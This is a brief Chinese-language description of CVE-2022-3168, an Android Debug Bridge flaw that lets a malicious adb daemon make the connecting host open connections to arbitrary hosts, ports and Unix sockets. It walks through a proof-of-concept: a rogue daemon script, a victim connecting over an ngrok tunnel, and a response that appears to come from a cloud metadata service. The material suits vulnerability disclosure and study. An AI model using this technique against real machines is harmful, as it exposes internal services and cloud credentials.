CVE-2022-3168-adb-unexpected-reverse-forwards

Android Debug Bridge adb 的反向隧道功能存在漏洞，允许恶意的 adb 守护进程在主机上打开到任意主机/端口和 Unix 域套接字的连接。 攻击者窗口（运行恶意守护进程）： $ ./adbroguedaemon.py 受害者窗口（本例中为 GCE VM）： $ adb connect serverip:5556 connected to 8.tcp.ngrok.io:19076 攻击者窗口： ... Wooho, we got response for our rouge request! b'HTTP/1.0 200 OK\r\nMetadata-Flavor:...